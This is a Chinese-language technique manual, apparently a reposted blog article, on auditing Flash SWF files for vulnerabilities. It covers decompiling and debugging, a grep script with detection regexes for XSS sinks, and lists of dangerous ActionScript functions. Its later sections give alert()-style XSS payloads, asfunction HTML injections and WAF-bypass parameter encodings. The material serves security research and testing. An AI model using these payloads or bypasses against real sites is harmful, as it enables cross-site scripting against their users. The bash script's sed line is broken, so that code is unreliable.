探寻Flash SWF中的漏洞
字数 1246 2025-08-27 12:33:43
Flash SWF漏洞挖掘技术手册
一、前言与背景
Flash SWF文件曾经是互联网广泛使用的多媒体格式,虽然现在已逐渐被淘汰,但在遗留系统中仍可能存在安全隐患。本手册详细介绍了Flash SWF文件的漏洞挖掘技术,包括工具使用、代码分析方法和漏洞利用技巧。
二、必备工具
1. 反编译工具
- JPEXS Free Flash Decompiler:用于反编译SWF文件,读取源代码并导出
- 下载地址:https://www.free-decompiler.com/flash/
2. Flash调试环境
- Flash Player Projector:标准播放器
- Flash Player Projector调试版:带调试功能的播放器
- Flash Player插件调试版:用于浏览器插件调试
- 下载地址:https://www.flash.cn/support/debug-downloads
3. 辅助工具
- testflash.php:本地测试页面
- 示例:http://10degres.net/assets/testflash.txt
- MacroMedia配置文件:启用Flash日志记录
- 配置路径:
~/mm.cfg - 配置内容:
ErrorReportingEnable=1 TraceOutputFileEnable=1 MaxWarnings=50 AS3Trace=1
- 配置路径:
三、工作流程
1. 获取SWF代码
- 下载SWF文件:
wget <url> - 使用JPEXS打开SWF文件
- 全选内容(Ctrl+A)
- 右键导出选择(Export Selection)
- 清理重复文件:
find <export_dir> -type f -name "*_[0123456789]*" -exec rm {} \;
2. 数据提取
- 查找注释:
extract-endpoints -d <export_dir> -n "" -r -e "*" -v 1 -c - 查找hash值或关键字:
extract-endpoints -d <export_dir> -n "" -r -e "*" -v 1 -k - 查找终端点:
extract-endpoints -d <export_dir> -n "" -r -e "*" -v 1
3. 正则匹配分析
使用flash-regexp.sh脚本进行模式匹配:
#!/bin/bash
target_dir=$1
cat "flash-regexp.txt" | while read -r r; do
echo "$r" | awk -F ";;" '{print $1" : "$2}'
reg=`echo "$r" | awk -F ";;" '{print $3}'`
escape_reg=$reg
escape_reg=$(echo $escape_reg | sed "s/g")
echo $escape_reg
egrep --color -ri "$escape_reg" $target_dir
echo
echo
done
示例正则模式:
Flash XSS (HIGH);;clicktag XSS;;geturl$.*clicktag.*$
Flash XSS (HIGH);;getURL XSS;;geturl$.*(_root\.|_level0\.|_global\.).*$
Flash XSS (HIGH);;getURL XSS;;geturl\
Flash XSS (HIGH);;navigateToURL XSS;;navigateToURL\
Flash XSS (HIGH);;ExternalInterface.call XSS;;ExternalInterface\.call\(.*(_root\.|_level0\.|_global\
四、手动分析技术
1. 日志分析
cd /usr/lib/adobe-flashplugin
cp libflashplayer_debug.so libflashplayer.so
tail -f ~/.macromedia/Flash_Player/Logs/flashlog.txt | grep -a -v AVMINF
2. 本地测试
firefox http://127.0.0.1/testflash/testflash.php?__swf=<MYSWF_FILE>.swf¶m1=value1¶m2=value2...
3. 参数追踪
- 在JPEXS中搜索参数(Ctrl+Shift+F)
- 勾选"Ignore case"
- 搜索关键词如"flashvars"
- 从初始化到最终使用全程跟踪参数
4. 危险方法查找
- 使用JPEXS搜索危险方法名
- 反向跟踪参数流向
五、危险函数列表
ActionScript 2危险方法
loadVariables()
getURL()
getURLBlankVar()
getURLParentVar()
getURLJSParam()
loadMovie()
loadMovieVar()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load('url')
XML.sendAndLoad('url')
LoadVars.load('url')
LoadVars.send('url')
Sound.loadSound('url', isStreaming)
NetStream.play('url')
flash.external.ExternalInterface.call(_root.callback)
externalInterface.addCallback
htmlText
htmlVar
loadClipAddDLL
数据操作危险函数
XMLLoader, AMFService, SWFLoader, loadVariables, loadMovie,
loadMovieNum, LoadVars.load, LoadVars.send, NetStream.play,
getDefinition, getDefinition, FScrollPane.loadScrollContent, XML.load,
Sound.loadSound, NetStream.play, URLRequest, URLLoader,
URLStream, LocalConnection, SharedObject
未初始化全局变量
- ActionScript 2:
_root _global _level0 - ActionScript 3:
root loaderInfo parameters
六、XSS Payload
1. AS2 getURL() / AS3 NavigateToURL()
javascript:alert(1)
javascript://adobe.com%0aalert(1)
data:text/html,<script>alert(1)<script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
2. AS2 fscommand, AS2 .watch, AS3 externalInterface.Call
alert`0`
%#jsinitfunctio%gn=alert%601%60
\"))-alert(1)}catch(e)
catch(e) {alert(1)
alert(document.domain);
\"));throw_error()}catch(e){alert(document.domain)
function%20someFunction(a){}
prompt(1)//
"%5D);}catch(e){}
if(!self.a)self.a=!alert(document.domain);//
flash.external.ExternalInterface.call("alert", '1');
3. HTML注入
<a href=asfunction:System.Security.allowDomain,www.example.com>
<a href=asfunction:getURL,javascript:alert(1)>
4. WAF绕过技巧
param1=value1pa%Xram1=val%Yue1
pa%=ram1=val%#ue1
pa%AXram1=val%B#ue1
File.swf?%#param1=value1&p2=v2
%#jsinitfunctio%gn=alert%601%60
5. 错误触发
xxx"xxx
七、总结
本手册详细介绍了Flash SWF文件漏洞挖掘的全套技术,从工具准备到实际分析,再到漏洞利用。关键点包括:
- 使用JPEXS进行反编译和代码分析
- 配置完整的Flash调试环境
- 系统性的危险函数检查清单
- 多种XSS注入技术和WAF绕过方法
- 正则表达式辅助分析技术
这些技术不仅适用于Flash安全研究,其中的思路和方法也可应用于其他类似技术的安全分析。